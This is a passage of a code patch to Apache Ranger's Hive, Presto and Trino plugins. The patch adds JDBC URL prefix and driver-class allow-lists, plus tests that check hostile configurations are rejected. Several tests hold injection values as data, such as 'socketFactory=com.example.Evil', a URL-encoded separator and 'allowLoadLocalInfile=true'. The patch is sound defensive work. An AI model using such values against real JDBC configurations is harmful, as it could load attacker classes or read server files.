"jdbc:hive2://localhost:10000", "jdbc.driverClassName must be one of");
+        assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be 
loaded when it is not in the allowed list");
+    }
+
+    @Test
+    public void test34_initConnection_rejectsUnsafeUrlParameter() throws 
Exception {
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2://localhost:10000/default;socketFactory=com.example.Evil", 
"prohibited parameter");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2://localhost:10000/default%3BsocketFactory=com.example.Evil", 
"prohibited parameter");
+    }
+
+    @Test
+    public void test35_initConnection_rejectsEmbeddedHiveUrl() throws 
Exception {
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2:///", "jdbc.url must include a host");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2://;", "jdbc.url must include a host");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2://?x=y", "jdbc.url must include a host");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:hive2://:10000/default", "jdbc.url must include a host");
+    }
+
+    private void assertJdbcConfigRejected(String driverClassName, String url, 
String expectedMessage) throws Exception {
+        NoopHiveClient client = new NoopHiveClient("svc", new HashMap<>());
+        Field          fCfg   = 
Class.forName("org.apache.ranger.plugin.client.BaseClient").getDeclaredField("configHolder");
+        fCfg.setAccessible(true);
+        HadoopConfigHolder cfg         = 
Mockito.mock(HadoopConfigHolder.class);
+        Properties         rangerProps = new Properties();
+        rangerProps.setProperty("jdbc.driverClassName", driverClassName);
+        rangerProps.setProperty("jdbc.url", url);
+        when(cfg.getRangerSection()).thenReturn(rangerProps);
+        fCfg.set(client, cfg);
+        Method m = HiveClient.class.getDeclaredMethod("initConnection", 
String.class, String.class);
+        m.setAccessible(true);
+
+        try (MockedStatic<DriverManager> dmStatic = 
Mockito.mockStatic(DriverManager.class)) {
+            HadoopException excp = assertThrows(HadoopException.class, () -> {
+                try {
+                    m.invoke(client, "u", "p");
+                } catch (InvocationTargetException ite) {
+                    throw ite.getCause();
+                }
+            });
+
+            assertTrue(excp.getMessage().contains(expectedMessage), 
excp.getMessage());
+            dmStatic.verify(() -> 
DriverManager.registerDriver(Mockito.any(Driver.class)), Mockito.never());
+            dmStatic.verify(() -> 
DriverManager.getConnection(Mockito.anyString()), Mockito.never());
+            dmStatic.verify(() -> 
DriverManager.getConnection(Mockito.anyString(), Mockito.anyString(), 
Mockito.anyString()), Mockito.never());
+        }
+    }
+
+    public static class TrackedClass {
+        static {
+            TRACKED_CLASS_INITIALIZED.set(true);
+        }
+    }
+
     public static class NoopHiveClient extends HiveClient {
         public boolean initCalled;
 
diff --git 
a/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
 
b/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
index c03482490..b16c4ce50 100644
--- 
a/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
+++ 
b/plugin-presto/src/main/java/org/apache/ranger/services/presto/client/PrestoClient.java
@@ -22,6 +22,7 @@
 import org.apache.ranger.plugin.client.BaseClient;
 import org.apache.ranger.plugin.client.HadoopConfigHolder;
 import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
 import org.apache.ranger.plugin.util.PasswordUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
@@ -38,6 +39,8 @@
 import java.sql.SQLTimeoutException;
 import java.sql.Statement;
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -51,6 +54,9 @@ public class PrestoClient extends BaseClient implements 
Closeable {
 
     private static final String ERR_MSG = "You can still save the repository 
and start creating " + "policies, but you would not be able to use autocomplete 
for " + "resource names. Check ranger_admin.log for more info.";
 
+    private static final List<String> ALLOWED_JDBC_URL_PREFIXES   = 
Collections.singletonList("jdbc:presto://");
+    private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES = 
Collections.unmodifiableList(Arrays.asList("io.prestosql.jdbc.PrestoDriver", 
"com.facebook.presto.jdbc.PrestoDriver"));
+
     private Connection con;
 
     public PrestoClient(String serviceName) {
@@ -209,6 +215,14 @@ private void initConnection() {
         String     driverClassName = prop.getProperty("jdbc.driverClassName");
         String     url             = prop.getProperty("jdbc.url");
 
+        if (url != null) {
+            url = url.trim();
+        }
+
+        // validate before loading the driver class: loading a class runs its 
initializers
+        JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+        JdbcUrlValidator.validateDriverClassName(driverClassName, 
ALLOWED_JDBC_DRIVER_CLASSES);
+
         Properties prestoProperties = new Properties();
         String     decryptedPwd     = null;
 
diff --git 
a/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
 
b/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
index 29462e62d..093d3e18c 100644
--- 
a/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
+++ 
b/plugin-presto/src/test/java/org/apache/ranger/services/presto/client/TestPrestoClient.java
@@ -33,6 +33,7 @@
 import java.security.PrivilegedAction;
 import java.sql.Connection;
 import java.sql.DatabaseMetaData;
+import java.sql.Driver;
 import java.sql.DriverManager;
 import java.sql.ResultSet;
 import java.sql.SQLTimeoutException;
@@ -41,18 +42,24 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.when;
 
 @ExtendWith(MockitoExtension.class)
 @TestMethodOrder(MethodOrderer.MethodName.class)
 public class TestPrestoClient {
+    private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new 
AtomicBoolean(false);
+    private static final String        TRACKED_CLASS_NAME        = 
TestPrestoClient.class.getName() + "$TrackedClass";
+
     private PrestoClient createMockedClient() throws Exception {
         return createMockedClient(new HashMap<>());
     }
@@ -314,6 +321,61 @@ public void test10_schemaName_validateInList() throws 
Exception {
         }
     }
 
+    @Test
+    public void test11_initConnection_rejectsNonMatchingUrlScheme() throws 
Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.url", 
"jdbc:mysql://address=(host=localhost)(port=3306)(allowLoadLocalInfile=true)/db");
+
+        assertRejectedBeforeDriverLoad(props, "jdbc.url must start with");
+    }
+
+    @Test
+    public void test12_initConnection_rejectsDriverClassNotInAllowList() 
throws Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.driverClassName", TRACKED_CLASS_NAME);
+
+        assertRejectedBeforeDriverLoad(props, "jdbc.driverClassName must be 
one of");
+        assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be 
loaded when it is not in the allowed list");
+    }
+
+    @Test
+    public void test13_initConnection_rejectsUnsafeUrlParameter() throws 
Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.url", 
"jdbc:presto://localhost:8080?socketFactory=com.example.Evil");
+
+        assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+        props.put("jdbc.url", 
"jdbc:presto://localhost:8080/catalog%3BsocketFactory=com.example.Evil");
+
+        assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+    }
+
+    private void assertRejectedBeforeDriverLoad(Map<String, String> props, 
String expectedMessage) {
+        try (MockedStatic<DriverManager> dmStatic = 
Mockito.mockStatic(DriverManager.class);
+                MockedStatic<Subject> subjectStatic = 
Mockito.mockStatic(Subject.class)) {
+            subjectStatic.when(() -> Subject.doAs(any(), 
any(PrivilegedAction.class)))
+                    .thenAnswer(inv -> {
+                        PrivilegedAction<?> action = inv.getArgument(1);
+                        return action.run();
+                    });
+
+            HadoopException excp = assertThrows(HadoopException.class, () -> 
createMockedClient(props));
+
+            assertTrue(excp.getMessage().contains(expectedMessage), 
excp.getMessage());
+            dmStatic.verify(() -> 
DriverManager.registerDriver(any(Driver.class)), never());
+            dmStatic.verify(() -> DriverManager.getConnection(anyString(), 
any()), never());
+        }
+    }
+
+    public static class TrackedClass {
+        static {
+            TRACKED_CLASS_INITIALIZED.set(true);
+        }
+    }
+
     private static class NoConnectionPrestoClient extends PrestoClient {
         public NoConnectionPrestoClient(String serviceName, Map<String, 
String> connectionProperties) {
             super(serviceName, connectionProperties);
diff --git 
a/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
 
b/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
index ef988695b..92056da6d 100644
--- 
a/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
+++ 
b/plugin-trino/src/main/java/org/apache/ranger/services/trino/client/TrinoClient.java
@@ -17,6 +17,7 @@
 import org.apache.ranger.plugin.client.BaseClient;
 import org.apache.ranger.plugin.client.HadoopConfigHolder;
 import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
 import org.apache.ranger.plugin.util.PasswordUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
@@ -33,6 +34,7 @@
 import java.sql.SQLTimeoutException;
 import java.sql.Statement;
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -47,6 +49,9 @@ public class TrinoClient
 
     private static final String ERR_MSG = "You can still save the repository 
and start creating policies, but you would not be able to use autocomplete for 
resource names. Check ranger_admin.log for more info.";
 
+    private static final List<String> ALLOWED_JDBC_URL_PREFIXES   = 
Collections.singletonList("jdbc:trino://");
+    private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES = 
Collections.singletonList("io.trino.jdbc.TrinoDriver");
+
     private Connection con;
 
     public TrinoClient(String serviceName) {
@@ -207,6 +212,15 @@ private void initConnection() {
         Properties prop            = getConfigHolder().getRangerSection();
         String     driverClassName = prop.getProperty("jdbc.driverClassName");
         String     url             = prop.getProperty("jdbc.url");
+
+        if (url != null) {
+            url = url.trim();
+        }
+
+        // validate before loading the driver class: loading a class runs its 
initializers
+        JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+        JdbcUrlValidator.validateDriverClassName(driverClassName, 
ALLOWED_JDBC_DRIVER_CLASSES);
+
         Properties trinoProperties = new Properties();
         String     decryptedPwd    = null;
 
diff --git 
a/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
 
b/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
index 6d1276d10..a27312224 100644
--- 
a/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
+++ 
b/plugin-trino/src/test/java/org/apache/ranger/services/trino/client/TestTrinoClient.java
@@ -28,6 +28,7 @@
 import java.security.PrivilegedAction;
 import java.sql.Connection;
 import java.sql.DatabaseMetaData;
+import java.sql.Driver;
 import java.sql.DriverManager;
 import java.sql.ResultSet;
 import java.sql.SQLTimeoutException;
@@ -36,18 +37,24 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.when;
 
 @ExtendWith(MockitoExtension.class)
 @TestMethodOrder(MethodOrderer.MethodName.class)
 public class TestTrinoClient {
+    private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new 
AtomicBoolean(false);
+    private static final String        TRACKED_CLASS_NAME        = 
TestTrinoClient.class.getName() + "$TrackedClass";
+
     private TrinoClient createMockedClient() throws Exception {
         return createMockedClient(new HashMap<>());
     }
@@ -303,6 +310,65 @@ public void test10_schemaName_validateInList() throws 
Exception {
         }
     }
 
+    @Test
+    public void test11_initConnection_rejectsNonMatchingUrlScheme() throws 
Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.url", 
"jdbc:mysql://address=(host=localhost)(port=3306)(allowLoadLocalInfile=true)/db");
+
+        assertRejectedBeforeDriverLoad(props, "jdbc.url must start with");
+    }
+
+    @Test
+    public void test12_initConnection_rejectsDriverClassNotInAllowList() 
throws Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.driverClassName", TRACKED_CLASS_NAME);
+
+        assertRejectedBeforeDriverLoad(props, "jdbc.driverClassName must be 
one of");
+        assertFalse(TRACKED_CLASS_INITIALIZED.get(), "driver class must not be 
loaded when it is not in the allowed list");
+    }
+
+    @Test
+    public void test13_initConnection_rejectsUnsafeUrlParameter() throws 
Exception {
+        Map<String, String> props = new HashMap<>();
+
+        props.put("jdbc.url", 
"jdbc:trino://localhost:8080?socketFactory=com.example.Evil");
+
+        assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+        props.put("jdbc.url", 
"jdbc:trino://localhost:8080/catalog%3BsocketFactory=com.example.Evil");
+
+        assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+
+        props.put("jdbc.url", 
"jdbc:trino://h:8080?dnsResolver=com.example.Resolver");
+
+        assertRejectedBeforeDriverLoad(props, "prohibited parameter");
+    }
+
+    private void assertRejectedBeforeDriverLoad(Map<String, String> props, 
String expectedMessage) {
+        try (MockedStatic<DriverManager> dmStatic = 
Mockito.mockStatic(DriverManager.class);
+                MockedStatic<Subject> subjectStatic = 
Mockito.mockStatic(Subject.class)) {
+            subjectStatic.when(() -> Subject.doAs(any(), 
any(PrivilegedAction.class)))
+                    .thenAnswer(inv -> {
+                        PrivilegedAction<?> action = inv.getArgument(1);
+                        return action.run();
+                    });
+
+            HadoopException excp = assertThrows(HadoopException.class, () -> 
createMockedClient(props));
+
+            assertTrue(excp.getMessage().contains(expectedMessage), 
excp.getMessage());
+            dmStatic.verify(() -> 
DriverManager.registerDriver(any(Driver.class)), never());
+            dmStatic.verify(() -> DriverManager.getConnection(anyString(), 
any()), never());
+        }
+    }
+
+    public static class TrackedClass {
+        static {
+            TRACKED_CLASS_INITIALIZED.set(true);
+        }
+    }
+
     private static class NoConnectionTrinoClient extends TrinoClient {
         public NoConnectionTrinoClient(String serviceName, Map<String, String> 
connectionProperties) {
             super(serviceName, connectionProperties);

Reply via email to